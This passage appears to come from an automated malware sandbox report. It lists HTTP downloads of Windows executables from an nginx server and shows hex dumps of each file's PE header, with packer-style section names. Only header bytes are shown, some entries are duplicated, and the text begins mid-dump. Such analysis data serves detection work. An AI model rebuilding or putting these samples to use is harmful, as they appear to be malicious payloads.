00 b0 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 7a 6e 65 64 78 72 00 a0 1a 00 00 60 32 00 00 98 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 74 6c 6e 61 71 6c 00 10 00 00 00 00 4d 00 00 04 00 00 00 8e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4d 00 00 22 00 00 00 92 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:08 GMTContent-Type: application/octet-streamContent-Length: 4426240Last-Modified: Mon, 18 Nov 2024 03:19:43 GMTConnection: keep-aliveETag: "673ab24f-438a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 20 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 ba 00 00 04 00 00 da 93 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 02 ba 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 02 ba 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 38 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 69 62 68 6f 64 70 6b 00 f0 1b 00 00 20 9e 00 00 e4 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 64 73 71 74 74 63 6a 00 10 00 00 00 10 ba 00 00 04 00 00 00 64 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 ba 00 00 22 00 00 00 68 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:15 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Mon, 18 Nov 2024 03:27:50 GMTConnection: keep-aliveETag: "673ab436-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 45 b4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 73 66 67 62 6d 62 00 10 1a 00 00 90 30 00 00 10 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 77 68 6f 61 63 75 00 10 00 00 00 a0 4a 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:21 GMTContent-Type: application/octet-streamContent-Length: 1828352Last-Modified: Mon, 18 Nov 2024 03:27:57 GMTConnection: keep-aliveETag: "673ab43d-1be600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 1e 5c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 77 69 77 6c 63 6b 72 00 50 1a 00 00 00 50 00 00 46 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6b 74 6b 73 61 75 6b 00 10 00 00 00 50 6a 00 00 06 00 00 00 be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 6a 00 00 22 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:27 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 18 Nov 2024 03:26:04 GMTConnection: keep-aliveETag: "673ab3cc-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c4 b3 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 b9 e1 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 84 a9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 84 a9 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:32 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Mon, 18 Nov 2024 03:26:31 GMTConnection: keep-aliveETag: "673ab3e7-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 69 6e 62 71 7a 61 6e 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 66 75 63 66 64 68 66 00 20 00 00 00 00 2b 00 00 06 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:32 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Mon, 18 Nov 2024 03:26:31 GMTConnection: keep-aliveETag: "673ab3e7-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 69 6e 62 71 7a 61 6e 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 66 75 63 66 64 68 66 00 20 00 00 00 00 2b 00 00 06 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:42:43 GMTContent-Type: application/octet-streamContent-Length: 2800128Last-Modified: Mon, 18 Nov 2024 03:26:33 GMTConnection: keep-aliveETag: "673ab3e9-2aba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 69 6e 62 71 7a 61 6e 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 66 75 63 66 64 68 66 00 20 00 00 00 00 2b 00 00 06 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 